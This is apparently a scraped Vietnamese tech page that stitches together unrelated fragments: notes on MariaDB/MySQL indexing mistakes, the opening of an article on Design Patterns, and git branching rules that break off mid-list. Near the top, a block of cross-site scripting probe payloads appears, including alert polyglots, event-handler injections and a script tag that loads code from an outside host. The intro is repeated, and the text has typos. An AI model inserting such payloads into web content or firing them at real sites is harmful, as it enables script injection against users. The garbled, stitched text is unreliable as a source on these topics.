Tài lnày tầm thường và có lẽ là nhàm chán, nhưng lại tạo nên nhiều thông tin thú vị, có lẽ điều mà bạn không nhận ra về cách hoạt động đánh chỉ mục của MariaDB và MySQL.
Điều này cũng giải thích [EXPLAIN][1] (đến một mức độ nào đó).
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
Tài lnày tầm thường và có lẽ là nhàm chán, nhưng lại tạo nên nhiều thông tin thú vị, có lẽ điều mà bạn không nhận ra về cách hoạt động đánh chỉ mục của MariaDB và MySQL.
Điều này cũng giải thích [EXPLAIN][1] (đến một mức độ nào đó).
1. Không sử dụng các chỉ số thích hợp
Đây là một điều khá đơn giản, nhưng nó vẫn xảy ra thường xuyên. Khoá ngoại nên có các chỉ mục cho chúng. Nếu bạn đang sử dụng một trường trong nơi mà bạn nên (có thể) có một chỉ mục trên nó. Các chỉ mục như vậy thường nên bao gồm nhiều cột dựa trên các truy vấn bạn cần thực hiện. 2. Không tuân theo sự toàn vẹn tham chiếu
Cơ sở dữ liệu của bạn có thể thay đổi nhưng nếu cơ sở dữ liệu của bạn c tính toàn vẹn tham chiếu -- có nghĩa là tất cả các khoá ngoại được đảm bảo để trỏ đến một thực thể tồn tại -- bạn nên sử dụng nó.
Sau bài báo có tựa đề [Tại sao thiết kế lại quan trọng để phát triển phần mềm][1], tôi muốn giải quyết một khía cạnh nâng cao hơn một chút về thiết kế phần mềm được gọi là Design Patterns
. Như bài báo trước của tôi, ý tưởng đến trong một cuộc thảo luận liên quan đến sự thành công của thiết kế phần mềm với một đồng nghiệp. Nội dung chính của cuộc thảo luận là Design Patterns
quá tốn thời gian để sử dụng trong lĩnh vực phát triển phần mềm thương mại. Mục đích của tôi ở đây là để chứng minh tại sao tôi tin rằng đó là sai.
Tôi sẽ không đi vào bất kỳ chi tiết hoặc thực hiện bất kỳ cụ thể về Design Patterns
. Có rất nhiều nguồn tốt về chúng ở khắp nơi.
Đây là một bộ quy tắc để ghi nhớ:
Thực hiện công việc trong một nhánh đặc trưng.
Tại sao:
Bởi vì theo cách này tất cả công việc được thực hiện trên một nhánh đặc trưng thay vì nhánh chính. NÓ cho phép bạn gửi nhiều pull request mà không bị nhầm lẫn. Bạn có thể lặp lại với những code chưa hoàn thành có nguy cơ không ổn định mà không làm rối nhánh chính. đọc thêm...
Phát triển nhánh từ develop
Tại sao: